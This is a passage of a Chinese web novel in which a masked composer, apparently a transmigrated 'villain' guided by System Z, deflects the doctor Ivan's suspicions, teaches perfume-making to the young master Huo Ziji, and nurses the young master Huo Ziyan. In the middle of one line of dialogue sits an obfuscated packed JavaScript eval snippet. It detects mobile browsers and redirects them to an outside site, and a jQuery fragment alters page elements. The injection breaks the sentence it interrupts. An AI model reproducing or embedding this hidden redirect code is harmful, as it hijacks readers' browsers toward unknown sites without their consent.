不知是巧合还是有意闪躲,男人侧身错开他的视线。 择明浅笑收回目光。 “我保证,今后无论发生什么,我都不会让别人冤孽临到你们之中的任何一个身上。” 黄昏霞光灿烂,云晕开一片奇异赤色,教堂尖顶的十字犹如缠绕烈焰,在这背景中淬炼发亮,而车队于教堂门前出发,有意分开行驶避免追踪。 再与择明共乘一车,伊凡却比以往缄默数倍。 驶上老路,车身颠簸,他本人再也招架不住这种安静,忍无可忍开口。 “所以,这就是你惯用的伎俩?” 他问着转头,终于不躲避对视。 “用你表现出的冠冕堂皇,和蔼可亲,去掩盖你——” 从诧异到失落,因青年这神情的骤然转变,他一瞬止声,不知所措。 “我不否认,那是我做的。而且你们若没进来,我或许还会继续往下完成,伊凡。你觉得······我很过分吗?” 不带敬语,二人间距仿佛即刻缩短。一如空间有限的后座里,对方探身突然朝他靠近。 “暴徒?恶棍?还是疯子?请告诉我,伊凡,你觉得我是哪一个?” 相处以来,莱特·莱恩从未如此咄咄逼人,也让他慌乱加剧,清空脑中备好的说辞。 伊凡手心出汗,身体发麻发热。 但一种预感,已被他初步证实。 在那宏伟大厅挥舞指挥棒,甩臂扬手犹如医者操|弄手术刀,木偶师支配傀儡提线,绝非至纯至善,同春日般美好的存在。 在他看不见的地方,赤色火种伪装成无私焰光,蠢蠢欲动着,诡诈企盼着,期望落向某处,引燃无法挽救的熊熊烈火。 他眼前这人在享受他无法理解,甚至难以接受的乐趣。毋庸置疑。 而若放任不管,未来定会发生超乎想象的恐怖灾难。 此刻彼此过于接近,以致思考停滞,伊凡下意识后缩却反被抓住手腕。 同样受过伤,将他握住的右手掌心却是异常冰凉。 曾为对方的主治医师,没有谁比他更清楚这只手的凄楚。真要有,也只能是莱特·莱恩本人。 “您会怎么处置我,伊凡先生?” 伊凡嘴唇翕动,内心矛盾深深影响语言思维。 他艰难开口。 “我又不是审判你的法官,不是警察、或者他们帮派的——我没那意思,”边唾弃自己不知所云,他边重新组织语言,沉声解释,“告发你与否,是个可弃做的无解题。这戴维·菲尔丁,包括受他鼓动来祸害你们的,都不是什么正经无辜人。至于我······我只是对你的处理方式难以苟同。仅此而已。” 将针对戴维的行径归咎为报仇,是情理之中。然而他如今所见种种,早已偏移‘报复’一词。 但无论怎样,莱特都已与腹蛇帮派结下怨仇果实。 ——那不是单纯的折磨乐趣,是隐晦地宣战,顽劣地试探 猜测一闪而过,伊凡心间发怵忧虑更深,又说道。 “你明明有更好的,更符合道德常理的选择。” 哪怕是把戴维套麻袋狠揍,或向霍家请求撑腰,或求助于他。 一语结束,焦灼令伊凡再度躲避相视。 “是这样么······” 松开对方的手,择明慢慢靠回位置。 车轮经过小坑颠簸,整车激烈摇晃,他的从容让他看起来如高山岿然不动。 “对我而言,伊凡先生。若真要选一个制裁者,我更期望那会是您这样的人。” “我记得圣书里说,我们是神依照自己模样所创的。他恩准我们,流放我们,最后又定下期限,说要审判我们。多么奇怪,他每一天,每一刻不都在这么做么?” 择明指尖刮擦玻璃车窗,发出刺耳又令人不快的杂音。 他所言的一字一句,像这杂音侵扰头脑,拨乱思绪。 “可我与他不相识,他也不知晓我的痛苦与欢愉,我却要听他斥责我,宣判我的罪孽?真是苦闷。” “有时候,我更宁愿是一位知心老友将我送上最后旅程,而非眼神冰冷的陌生者,或让人生气的坏家伙们。” 听着这玩笑口吻,伊凡浑然不觉得有趣。 “现在我只有一个问题,”他神情是前所未有的严峻,凛若冰霜,俨然一位公正审判者。而他问道,“那天在鱼市,你离开我又回来的这段时间里,做了什么。” 【系统Z:主人,他大概率是在怀疑您的行为用意】 往深入想,是在怀疑他与‘莱特·莱恩’的契合度。曾经的莱特虽心怀恶念,怀揣毁灭的报复念头,但没有在人家脸上雕刻的爱好。 再闻系统善意提醒,择明轻抚耳垂。 恰到好处的沉默,是予人过度情绪的优秀断章。 停顿过后,他开始作答。 “为我愿真心交付的亲友,抹除冒犯到他,伤害他的。但您知道,我其实并没有真正意义上的家人,过去与我说话的兄弟姐妹,就只有花园 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592341|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的马蹄莲。” ‘家人’,‘兄弟姐妹’,单词如重锤在伊凡脑中猛敲数下。 密不透风,厚实坚硬的玻璃碎出一道道裂缝。 “我视尼尔萨沙为我的孩子。还有马库斯先生,您见过的。那位关照我,幽默又亲切的长辈,我与他情同父子。” “而我发现,他们都有一个共同点。那便是他们从不在乎我皮囊的好坏优劣。您也一样,特别是在记账方面。您从不给我优惠和体恤。像哪句话来着的,唔——” 【系统Z:您应该是想说‘亲兄弟明算账’,主人】 择明恍然大悟:“噢,亲兄弟明算账,算得越清关系越亲?这么看来,我们真亲密无间,伊凡先生。” 伊凡别过脸吐气,扶额似是没辙。 “这都什么时候你还说这个。” 想到一事,他拧眉又问。 “所以,你上次找到那个袭击者,也是像今天——” 择明食指摆动,婉言打断:“您说只有一个问题,这下可没第二问了。” 男人一愣,随即懊恼啧嘴,不禁怀疑起自己岁数没到,头脑就先不争气退步。 “请您放心。今日起,这些无礼奸妄之事,我不会允许它们再发生。毕竟,那天起我就向自己发誓,哪怕是要舍弃这只手,这双腿,我这不值钱脑袋······我也要守护好失而复得,更重要的东西。” 面具不含表情弧度,可一旦双眼眯起,嘴角上翘,冰冷银面似乎也沾染笑意。所以尽管择明正说着狠话,仍叫人害怕不起来,更难生抗拒之心。 透过单面镜片凝望,伊凡仿佛看见深埋记忆的久远一幕。 为救妻儿义无反顾冲向火海的木讷男人,疯了般狂吼呼唤,火苗不再是畏惧的危险信号,是能抗争的敌人。 而这个男人,他的父亲,没那么幸运打败敌人。 所有敌人。 速度放缓,车头转弯,庄园大道出现在前方。 明白即将分别,伊凡不再继续话题。从他坐姿的放松程度来看,他情绪比出发前缓和许多。 车驶进庄园,将择明在宽敞林道旁放下。而他身边这位医生如他所料,刻意用着冷冰冰语气,对他强调。 “今天为止的这些事全平息前,课我是不会让你继续上的。你干脆安分呆在庄园,省得给某些家伙有机可乘。到头来······你们两方都想胡作非为。” 似警告又像劝戒,这男人深深看他一眼,说出最后一句。 “我可不是每次都能在你胡乱收拾人后及时出现的。” “您说的是。我谨遵教诲。” 以系统的Z绝招送走满脸无奈的伊凡,择明站姿乖巧,摆手告别。他不禁感慨道。 “伊凡先生果真是聪明人,擅长辨别肌理,目光可透析皮肉之下。不亏是医生。” 【系统Z:而我差点以为,您的反派之路将要断送在这了。在监狱,或在疯人院】 “嗯?” 择明哭笑不得:“我就当你是在担心我了,Z。” 【系统Z:是的,主人,我确实担忧。为您逐步暴露出的危险一面】 树影下择明停步,视线聚焦在前方无人的空地。 四周枝叶挤在一起,像潜伏着危险动物沙沙作响。他迎合风声开口。 “而我也不得不承认,Z。我一样在担心着。为你正逐步暴露的秘密目的。” “可你对我藏着小秘密,我也对你有所隐瞒,在这层面上我们是扯平的。或许,这样能更好维持合作相伴。” 两句话快如抢答,不给对方回应间隙。他走过花园东畔,吸气深嗅幽香。 “真希望你哪天也能闻到这与圆舞曲一样欢快的香韵,Z。今晚,很适合我们采摘丁子香制油。” 像他一笔带过含有锋芒的话题,系统以平常语句答复。 【系统Z:那请您这次务必注意火候,别再烧炸了玻璃瓶】 丁香油放置过久,澄明液体逐日泛黄,变成漂亮的琥珀色。 将它倒在手中晕开,抹上柔软腹部,光泽如同烤鹅金黄诱人的脆|皮。 密闭房中床边纱幔垂落,香薰味浓烈致使人头昏脑胀,霍子骥陷在大床枕头中,揉捏眉心。 床尾站着一位少年,面容娇好,体态修长又白净,赤|裸着披着轻薄纱衣。 发现男人目光自始至终没在自己身上停留超过半分钟,少年心中虽疑惑面上却不显,只俯身爬上被褥,趴在对方腿|间,两眼朦胧像含泪。 “哥哥,您不喜欢我了吗?您今天过来,都没抱过我。” 丁香油暂时让霍子骥回魂,他两指捏住少年下巴,打量着,忽然命令。 “不要叫我哥哥,叫我三少爷。” 在这地方只要钱到位,喊顾客什么都无所谓。可作为霍子骥最常临幸的一员,少年只觉得今日更加奇怪。 他犹豫着,小心翼翼唤道。 “三少爷?” 霍子骥撇嘴,不满道:“再来一次,认真点。” “三少爷。” “不对,再来。” “三少爷。” “还是不对。” ······ 声音甜腻可人,以往最是能勾起蠢蠢欲动的情||欲,当下霍子骥却皱起眉,松开对方的同时推开人。 他拎上外套一言不发刚离开,房内少年便带着不可思议的脸冲进休息室,向同伴分享这极度反常的经历。 “他甚至都没碰过我,进来也只顾着自己喝酒。中途离开过一次,好像是有人给他送点报,说到什么剧院,生日场地。” “你们说他是不是腻味我们这了。” “可罗斯夫人没说过啊,晚上还让我们好好准备招待。” ······ 红绒卧榻上,浓妆艳抹的女人默默倾听,修剪指甲。她是这资历最深,也算最了解贵客‘霍子骥’的。 其余人猜测时诧异不解,她摆手断言则无比自信。 “你们就别瞎担心了。要么是挨批,要么是着迷,总而言之这匹小野马,最近是找到安定的事情做了。” 事实正如她所言。 霍子骥深夜归家没有回房,反推开僻静花房的门。 躺椅上,择明单手举书挡着脸阅读,霍子骥人未进门他就先出声道。 “晚上好,三少爷。” 屋内,一缕缕丁香油味似清凉溪流洗刷全身,霍子骥不自觉拍打肩头,嫌弃起他满身香水烟酒气。他叉腰笑道。 “你怎么知道是我。” “我不得不说,您身上的味道向来很具有分辨性。三少爷。” 对方放下书轻笑回答,并问他。 “所以,您今晚是准时来上课么?” 看着这张面具,反复回味方才短暂的呼唤,霍子骥勾起嘴角,踏入花房关起金属门。 “是的。我洗耳恭听。” 16. 打破的声音是pop!-16 气味像是丝带,一条条漫延四周萦绕鼻尖。 餐桌旁,霍夫人轻轻吸气,嗅出除佳肴美酒之外的气味。 橙花油混杂茉莉香的清甜。 其中似乎包含更复杂的香味,过淡她分辨不出种类,但质量绝属优良。 若它是一款香水,必会在她的太太圈里引起股滔天狂潮,贵妇小姐们争先恐后购买。只因它的后调余韵持久悠长得惊人,香味虽清浅,却能轻易冲破饭菜浓香,保有独一无二的特性。 实是罕见佳品。 若是偶然发现,她不会太在意。但接连七八天庄园各处弥漫这股幽香,此刻源头近得出奇,她不得不探究起来。 桌边只有霍子骥陪同用餐,她问道。 “子骥,是你换香水了?” 霍子骥正用银叉搅弄肉丁,心不在焉一挑眉。 “换香水?没啊。我不是一直用你定来那家店的么。” 霍夫人放下汤匙,看着他目不转睛。 为实现霍子骥稳得家主之位的终极目标,她多年来打通庄园上下,安插不少‘眼睛’为她服务。既有时刻监视别人的,也有监督这不省心的小儿子。 她自认为,没有谁比她更了解霍子骥。 纵使这刚成年的三少爷自小有着野马脾气,桀骜又随性,可对她最是乖巧懂事。就算会不满犟嘴,大局上仍听她指示。 然而近几天,超出她掌控的事正慢慢发生。 夜夜在外寻欢作乐,与狐朋狗友混迹会所的霍子骥消失了。 贴身侍者照常会跟丢他,当他和以往一样,是找各色情人幽会,睁一只眼闭一只眼。 但匪夷所思的是,他每回再现身竟从头到脚清爽,眼中不见淫|欲得偿后的餍足。言行举止虽懒散不着边际,静坐出神时间却占据极大部分。 一如今夜晚餐,霍子骥从坐下到现在,拢共才说四句话。 “最近是筹备生日宴会太忙,累着了么,子骥。” 霍子骥思绪飘飞,等霍夫人问他第二遍才反应过来,往椅背一靠。 “可不是么,爸他腿受伤还躺着,上次追查袭击者没结果,他估计要一直吃不好睡不好。我们那国|宝二哥又根本帮不上忙,天天把自己关画室里。”发牢骚到这,霍子骥摇头离开座位,“还剩四天迟迟决定不了场地方案,请帖没确定版本,我哪有心思搞别的。” 霍夫人神情舒缓几分,点头宽慰几句便不再挽留。 “我相信你一定能办好,毕竟你可是我儿子,霍昭龙的儿子。” 霍子骥晃悠到门旁,抬手一扬当作答复。 太阳落山带走夏日高温,人漫步林间,总有氤氲水雾扑面,凉意刺激神经。霍子骥特地钻树林绕开可能跟踪自己的仆人,从花房后门悄悄潜入。 夜灯烛台亮度合适,光洒满角落。 前方有一人面对小桌,执笔挥洒不停。 霍子骥唇角不自觉上扬,如做贼蹑手蹑脚靠近,拱起两手做出前扑姿势。 距离仅剩五步,他屏息凝神没弄出半点声响,孰料对方竟将笔一放,淡然出声。 “今天您来得比昨天更早了,三少爷。” 择明合上羊皮纸书册,轻拍衣袖站起。 转身向人鞠躬,他亦解答对方的疑惑。 “今天风向朝东南居多,您若是从正门走,我或许还不会那么快发现你。顺便一提,由您取名的这款‘赫柏的金杯’,意外的很适合您。” 因香水偷袭失败,霍子骥气馁得往躺椅里倒。 “鼻子这么灵……你是狗么,”他无奈咕哝着。 衣领间滑出一小小物件,锥形玻璃瓶指头大小,底部包裹金箔,隐约可见淡黄液体。缕缕馨香透过瓶塞缝隙溢出,属于他亲眼见证诞生过程的香水。 他以目睹玻璃器皿烧炸的惊吓为由,将几大盆原料所制的香水霸占。 一开始不抱希望的,谁曾想对方很爽快给他了。 霍子骥摩挲下巴,笑得玩味。 “反正我没什么事做,就先来你这赏花赏月赏人呗,谁让你是这家里最大的一朵奇葩,成天通宵不睡觉,又是剪花又是写谱子蒸香水,你居然一点都不困。你是石头做的吧,都不用睡觉。” “那我多谢您夸奖,三少爷。” 道不明是哪不顺心,霍子骥撇嘴沉默,视线紧随花房中走动的人。 距霍骊生日只剩四天,虽说宴会全由他操办,但依旧要通过霍昭龙那关。此前他推出数种方案都被否决,于是一直耽搁至今。 时限临近,他不着急,反倒是心心惦念霍骊的某‘工蜂’愈发忙碌。 注视那道身影在花架前来来回回,霍子骥右手撑头又道。 “鲜花我愿意用你的了,香水也帮你试了,你还想准备什么秘密礼物?注意点,别超出我的预算,那样我们可扯不平喽。” “我还以为,三少爷是有着一颗希望亲人愉快庆生的真诚心。” “拉倒吧,与其说让她那病秧子开心,不如说是让我们全家安心。能让她在死前满足愿望,不留遗憾,这是我作为家人的义务呢。” 话虽如此,霍子骥语气不屑,听不出温情。 原以为会得到怒叱,哪怕是谴责一瞥,可莱特双眼望来,目光如静夜安谧。 “看来您与小姐感情确实不深。不过还没到反目成仇,想要置对方于死地的糟糕程度,您愿意配合的宽宏理解,或许功不可没?” 忽被夸赞,还是在意想不到的地方,霍子骥语塞不知所措。 对方擦拭剪刀,金属前刃泛光晃眼。 霍子骥禁不住的想,这到底是什么品种的‘怪胎’。 脾气看似好得没边际,仿佛与过去任人欺负的软烂柿子无异。可偏偏某些地方,犹如宽阔河流护城,难以攻破。 再一抬眸,视线不知不觉被那抹难辨真假的微笑攫取。 对方漫不经心地问他。 “今夜课堂开始前,我希望您能回答我,您有在烦恼着什么吗?” 目光下意识闪躲,霍子骥当即拨弄自己一头金发,佯装无事嗤笑道:“我的烦恼,只能是喝不到美酒,睡不了暖床,还有被无聊的丑货包围。” 择明上前一步,追问道。 “这是真的吗?三少爷。” 分明没理由有问必答,霍子骥却陷入犹豫漩涡,与无实体的敌方斗争。 几番欲言又止,终究下定决心,但他只是起身来到桌边。 曲谱诗词因清隽字迹活像池塘里一尾尾金鱼,给人以朝气蓬勃的欢快活力,霍子骥捧起最厚那沓图纸,翻阅前一顿,特地转头得到同意才继续。 他行事难得如此礼貌,在庄园可是会引发惊天动议论的地步。 打量他专注阅读的背影,择明再得系统一夸。 【系统Z:您确实很擅长驯养马驹,主人。这非常厉害】 择明摇摇头笑了。 【你谬赞了,Z。我只是说,我擅长训练小马驹。已成年的野马无论变得再怎么服帖亲近,终有一天会想要自己挣开缰绳,摆脱饲养人,乃至血亲的】 【系统Z:希望那时候您能及时跳下来,别摔着背】 择明应声揉了揉后腰。 【最近没多少休息,骨头确实有点僵,可惜你不能长出手帮我按摩】 【系统Z:我并不会该项功能,主人】 【那我可以教你】 【系统Z:我并不能做到】 【你怎么前后说话不一呢,Z】 察觉其中的紧追不放,系统再使新招。 【系统Z:唉……】 择明不禁掩嘴偷笑。 听系统叹气,是他现在最大的乐趣之一,以至从早到晚他都要找机会捉弄调戏。 霍子骥忽然抖动纸张,打断他们专属的思维交谈。 “《艾莫斯的情妇们》,你这新作的跨度可不是一般的高啊。富有公爵被他的情妇们争抢又合谋算计,阴差阳错下让他找到真爱,结局却是他痛失爱人,孤寡到老,悲痛终身?” 择明:“一时兴起,自娱自乐而已。您应该知道,像这种不入流的旋律,是登不上台面的。” 犹如肉食动物捕捉到血腥气息,霍子骥转身,眸光陡然深幽。 “那这么说,你上一份大作已找好东家喽?” 择明微笑不置可否,反问道。 “所以,您是准备拒绝掉我临时雇主的邀约么?” 说这话时,烛芯滑落的蜡滴漫出小台,刚好坠在一旁臼钵的边缘。霍子骥手触向裤兜,摸到比布料坚硬的纸张页角。 “我前言收回,”他无奈摇头,“你可不止鼻子灵。” “多谢夸奖。” 电报纸被霍子骥藏在身上,几天来反复查看,现已皱得不成样。 “安士白剧院新投资人,林威廉,曾经的高级外交官员,现在的子爵,未来伊亚郡市长的铁腕候选人。我真是何德何能,收到由这位主动发来的请柬。” 霍子骥两指夹着电报,向择明一递。 “他说,他愿意将安士白借给我们,作为生日宴的会场。” 对收信的他来说,请柬具有非同寻常的意义——谈成林威廉这桩生意,一洗前耻的机会。 整栋宏伟建筑清场,专为霍家长女庆生,这是安士白剧院成立以来闻所未闻的至高待遇。 哪怕这单生意最后黄了,霍家与林威廉友好相识的序幕,也会为他在霍昭龙跟前开启扭转局面的新篇章。 电报寥寥几行文字,择明很快读完将纸抚平,折好递还回去。 “说来惭愧,我其实与这位慷慨的林威廉先生并无交集。只向他的经理提供剧本,为我的私心筹划。没想到我计划未定,他就先找上了你。但这更符合礼节,毕竟您才是唯一负责人。我只不过是微不足道的作曲人罢了。” “呵。” 霍子骥唇角勾起弧度,笑与眼中包含质疑冷意。 他俯身凑向人。 “你说自己没提前见过他,我就信?” 二人身高相似,对峙起来难分强弱。然而带着刺与锋芒逼近,得到的却是波澜不惊,霍子骥气恼又无奈。 转念一想,他嗤笑改口。 “你就不怕我以怀疑内鬼为由,把你揪出去惩戒示众?那样这个生日,我们大家谁都别想好过了。” “那真遗憾,”择明哀叹道,“恐怕不止是霍先生霍夫人会失望,艾文也会伤心的。我还想在那天,带着他灵魂依存的纪念品,一起聆听声乐盛会。” 再听‘艾文’名字,霍子骥难免默然。 语气轻飘飘,不像威胁和警告。 但就是让他迅速冷静下来,再辨其中利弊。 林威廉主动递橄榄枝,高品质鲜花点缀莱特·莱恩无偿供应,且这‘供应商’是怀着诚挚的心相助,绝不会在宴会上惹是生非的。 作为主办者,他简直是坐享其成。 纠结难分的问题,再次回到那一点上。 “你真让人困惑,”霍子骥如实道来,“有时候我看你为了霍骊是什么都能做,卑躬屈膝像条狗。有时你又无所谓,专搞稀奇古怪的东西。作为霍家人,我不得不盯紧你了。” 择明的回答,仅是一句。 “或许……我所做的,不只是为了霍骊小姐一人呢。” 不只是霍骊? 好比信件末尾煞风景的大块墨渍,答复言不尽意,令人扫兴却又好奇更重。 霍子骥终于抽回纸,将香水瓶塞进衣领。 “行,就让我看看你这怪胎回掀起什么风浪。邀约我应下了,我都能预估到那瘫床上的老头高兴得会疯。不过我最后还是强调一遍,那天若是出了什么事,你也别想逃过。” 狠话刚放完,霍子骥倒进躺椅却很快坐正。 原因在于择明拿出的满箱工具。 上回他被科普各种制香知识,十分里竟也听去八九分。本来抱着试一试,来找茬挑刺的心态,谁料这‘课’听得一发不可收拾。 事实证明,当枯燥原理与人文故事结合,死板规矩穿插其余乐趣,很难放弃倾听。 两小时转瞬即逝,被送出门时,霍子骥摸上脸颊才惊觉自己笑僵了脸。 笑都是真心,而非无懈可击的伪装假面,影响才会如此之深。 回忆自己上一次无忧无虑,开怀大笑的情形,却只得到模糊画面。霍子骥深深呼气,一脸惘然。 花房里,择明呵气吹熄烛火,搬出躺椅露天欣赏夜景。 沉醉璀璨星光良久,他点头若有所思道。 “要不然,下个月练习织围巾好了。我一直没上过手。” 【系统Z:我倒不知道,您爱好涉猎如此广泛,主人】 “针织技术里可有着大奥秘,Z。” 他笑盈盈解释着。 “当第 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择明:“这显而易见,Z。我想你下一句就是问‘您打算画什么’。为节省时间,跳过不必要的话题,我可以直接告诉你,我在准备问候二少爷的登门礼。” 想了想,他面露惋惜。 “生日上如果有亲人缺席,霍小姐会失望吧。” 自打上次与霍昭龙争吵后,霍子晏又来了一百八十度大转变,变成不理人不出门,死气沉沉的地洞小鼹鼠,甚至直接人间蒸发玩失踪几天。 不过据年龄较大的下人猜测,他应该是去母亲安葬的墓园。 那是霍昭龙唯一亲自参与设计,全程监督的霍家地产,安葬着他亡妻忠仆,以及关系较好的远房长辈。 以前心情不好,或与霍昭龙闹矛盾的时候,霍子晏总爱去墓园旁的别苑住上十天半个月。而昨天凌晨,霍子晏被目击到从偏门回来,风尘仆仆,颓然又狼狈。 着笔时沉思,下笔是滔滔不绝。这是择明一贯的‘坏毛病’。 “你知道么,Z,鼹鼠是种很敏感的动物。超灵敏的嗅觉相当于无人企及的天赋,可正是因为太敏感,它们才会更愿意,或者说只能匍匐地底。” “动物很大程度上依靠五感存活,但其中一种若是过强,反倒增加了艰辛负担。” “所以,傻人有傻福,这道理大方向上准没错。” 得出结论同时停笔,他卷起画卷。 【系统Z:我对此表示怀疑,主人】 “那我们来实验证明一下?” 带着画作和跃跃欲试的期待,择明一路畅行,来到霍子晏所在的四楼。 卧室门很小一扇,敞开着看不见人。 对面画室大门紧闭,证明其所有者确实在里面。 择明正准备敲门,一名女仆端着托盘,闷闷不乐上楼。 转弯与择明不期而遇,她先是一惊,随后语无伦次。 “啊马夫、呃,莱特少、莱恩先生。” 一句话里换了三次称呼,择明右手握拳抵在唇前,笑声温和。 “莱特就行。” 女仆的慌乱被这笑声一扫而空,也不再拘谨,轻声问他。 “您上来是有什么事么?” 择明示意手中画卷,同样小声回答。 “来给二少爷送东西。我听说他最近食欲不太好是么?” 年轻女仆一下打开话匣子,将他拉到楼梯口,尽情发牢骚。 其中包括霍子晏昨晚不顾执事劝说,在大厅翻箱倒柜,差点拿刀毁了那副《金秋之海》,喝酒上楼后莫名其妙打砸东西,绝食到现在。 “那画被划了这么长一条,多可惜啊。老爷要是知道了,肯定大发雷霆。” 女仆打开双臂比划着,接着叉腰摇头哀叹。 “我要被烦死了,梅尔夫人警告我,如果我没当面送给二少爷,就不准我回去吃饭。可万一二少爷发起脾气来,把我打一顿、或者也在我身上划一刀怎么办。” 目光在托盘上停留几分,择明出声道,“二少爷素养好,不会做出伤害他人的事的。但他现在心情不佳。不如你把它给我,我帮你送进去吧。反正我也是要找他的。” 女仆眼睛一亮,得救般将任务交给他。 目送人彻底走远,听不见声音,择明轻叩门板。 “子晏,是我。” 门后没有声响,他特地等了一段时间才继续道。 “你不留消息离开那么长时间,我很担心你。” “你若真不想见我,那让我先看一眼你,把东西给你再走。” 细微动静愈发靠近,听到门锁被解,择明应声缓缓推门而人。 厚重窗帘隔绝户外太阳,屋内的空气浑浊而沉闷,霍子晏在中央背对他,指着桌子。 “东西……放那吧。” 霍子晏嗓音沙哑,不知是因为烈酒还是宿醉又哭嚎过。 将托盘连带画卷放在桌面,择明悄悄向人靠近,可察觉到他动作,霍子晏立即转身朝壁橱奔去。 双手撑在粗糙砖石上,蹭破皮肤,霍子晏呼吸急促,试图加重语气。 “我说了,放那就好。你、你可以出去了、出去!” 喊声仿佛震得玻璃响动,亦令他自己双耳嗡鸣,头脑眩晕。 恍惚间,他好像听到门关上的声音。那瞬间,无止尽的失落与悔恨再次将他包裹,抽空所有支撑力气。 蒙胧泪眼看向母亲的画像,庞大的痛苦几乎要将他心脏捏紧。 一瞬缓解窒息感的,是后背突然覆上的手掌。 “你现在很累,子晏。” “你需要要休息了。” 堪堪两句,有着安眠曲的魔力,霍子晏顺势向后倒,被依托着放在软榻上,但呼吸依然急促。 “莱特,你——” “嘘……” 话被抵在他唇前的食指止住,他眼角的泪水也被散发紫罗兰香的手绢擦拭。直至最后的颤动被安抚,他也被困意彻底击溃,望着对方模糊的脸。 记事以来,他卸下担子,全身放松的速度从未如此之快。 像回归人们天生眷恋的母亲怀抱,可舒心安眠。 “我很抱歉。” 意识涣散中他又一次道歉,可情绪却比之前更深,用句亦不同得奇怪。 “对不起,莱特,我……我们对不起你……” 17. 打破的声音是pop!-17 口红,扑粉,润肤膏,羊脂油,最高级的香水,逐一摆放化妆台上,整齐如同阵队。 女人肤白如雪,五官秀美,未上妆的脸足够像花蜜,可迷倒成片男人。面对镜子,她几次打点发型仍旧不满,索性任鬈发披散。 侧过脸,仿佛同谁的镜像细致对比。 ——像吗? 她用着没睡醒的声线询问。 ——我足够像吗? 化妆,梳发,戴上时髦圆帽,她推开门时露出一截白若嫩藕的手腕。 梦境不受逻辑约束,超乎常理限制,因此她烧成黑炭的尸体画面飞闪而过,促使人焦急上前,制止她离去,以防惨剧发生。 掌心触感柔软且真实,霍子晏倏然睁眼,目光正对被他紧握手腕的人,也看清自身处境。 画室暗沉无光,他躺在软榻上枕着莱特的双腿。 而确定他彻底清醒,对方才挪开他额上降温用的毛巾,轻声调侃道。 “你已经睡了两天了,子晏,除了喂你喝药喝水,你一点反应都没有。我差点以为你是要当一回睡美人,等待哪位英勇王子来解除魔咒。” 闭眼睁眼只觉得几秒不到,但身体的沉重无力告诉他对方所言为实。 发觉自己还抓着人家,霍子晏手猛然一松道歉。 “抱歉,莱特……” 喉咙像火烧干涩,当他扶着脑袋坐直,适应状态后,一杯水已送到面前。 温水加了糖和薄荷,一饮而尽堪比沙漠中寻获甘霖,瞬间滋润全身。 喝完三杯,霍子晏不再抗拒择明端来的餐盘,甚至狼吞虎咽几次噎住。食物和水同样是暖的,他知道,有人为他每天更换,精心存储保温。 当叉子第五次戳向面包小篮,择明抬手一拦。 “你刚醒来,不能一下子吃太多。过会儿我再拜托米娅送新的上来。” 霍子晏连同饱嗝咽下最后一口黄油面包,意犹未尽撒开餐具。 进食补充完体力,观察思考的能力亦恢复。他细细端详着无微不至照料自己的人,因对方身上未换洗的衣物深感诧异。 他不禁问。 “莱特,你是一直,在这陪着我吗?” 即使有所预料,但见人点头承认时霍子晏仍难掩欣喜触动。 他昏睡发烧那几日,大可让仆人执事看护他,对方却事事亲力亲为,且态度远超尽职尽责的‘照料’。 霍子晏鼻头酸涩,又一次伸手握住对方手腕,制止人收拾餐具。 “这些你以后不要再碰了,给仆人处理,那本来就是他们的职责。” “但是——” “没有但是。” 想起莱特·莱恩在霍家尴尬的身份地位,霍子晏面露悲愤,固执将人拉回软榻。 他坚持道:“因为我,你已经两天没能休息,若要再眼睁睁看着你累垮倒下,我简直罪不可赦。所以,这次听我的。” 口吻多少有点无理取闹,然话确实在理。择明索性配合,并于坐下后好奇打量着霍子晏。 大抵是在外露宿风餐多日,受寒回来又酗酒,霍子晏这一病仿佛重症患者濒死。请来伊凡为其诊断,都得动用数量有限的针剂。 不过年轻体质较好,被悉心照料后他虽脸无血色,但胜在双目有神。 唯一费解的是,他依旧回避所有视线接触。 犹如尿床后藏起床单的小孩,因愧疚深感不安,因逃避自我矛盾。只能等心中有数的大人,巧妙将这份拙劣掩饰戳破。 择明抬臂,手伸向对方,指尖触及脸颊。 动作毫无预兆,霍子晏瞪圆眼缩脖子。 原来是他唇边不知何时勾住几根深色发丝,被人轻捻别至耳后。 亲昵接触令心间再生悸动,也迫使他被追问时难保镇定。 “你看起来,有话想跟我说。” “没。我没什么……” 霍子晏的挣扎在择明侧过身,特地背朝他时停歇。 择明语气欢快道:“你知道‘我是谁’这个游戏么?” 进过学院,曾加入学生团体组成的兄弟会,霍子晏对这常见的派对游戏谈不上熟悉,却也知晓其规则。 玩法因人数差异多种多样,固定条件无外乎提供一件‘事物’,由‘考官’在不直接形容的前提下描述,受测者凭线索一一联想、与人问答,直至找对答案。 “作为帮助你调整病后心情的游戏,这再适合不过。当然,我听你的最终决定。” “我敢打包票,我从没在这游戏上输过谁,”择明翘起下巴,故意洋洋自得着,“因为我不跟别人玩,我只跟自己玩。” 霍子晏阴霾顿消,不禁笑出声。 紧张时不受注视反而更能解除防备,他终于放平心态,尝试开口道。 “那是……一个故事。” 他作为‘出题人’提出首个特征,答卷人抛出疑问。 “它是真实的吗?” “是真实的。” “那——它是过去发生过的吗?” “是,”霍子晏喃喃重复道,“是的。” 从这开始,提问逐渐扯东扯西,‘有猪肉派出现吗’、‘有人摔跤出洋相吗’,全身诸如此类滑稽不着边际的问题。 全程回答是与否,霍子晏思绪化作风筝,越飘越远。唯独一双眼睛,自始至终映着那道依靠软榻扶手,慵懒且赏心悦目的背影。 像是鹅毛丝绒铺满床沿,如雪银面因微光泛出柔和晕层,青年健谈,声线悦耳,说话间不经意侧过脸,下颌衬在花边衣领里,好一朵静待采撷的白蔷薇。 ‘我像吗?’ ‘我足够像吗?’ 梦境伸出无形触|角,阴险蠕动着将声声瘆人询问拢到耳边。 霍子晏心中发寒,莫名颤栗。 就在这一瞬,他突然听问。 “它是跟我有关的吗?” “是的——不是、我说错了,和你无关。” 先是脱口而出,而后立即改口,霍子晏大惊失色,只庆幸没和人面对面。 择明敛声,手支起脑袋向一侧倾去。 由于看不见他表情,霍子晏边猜测他的想法,边陷入疯狂的埋怨,握拳小声敲打自己脑门,自我谴责。 画室门被叩响成了及时救兵,霍子晏抢先起身。 “我去开门,莱特你继续坐着就好。” 说完头他也不回小跑离开,呼气如释重负,双肩垮塌。 择明转身,注视着不禁感叹。 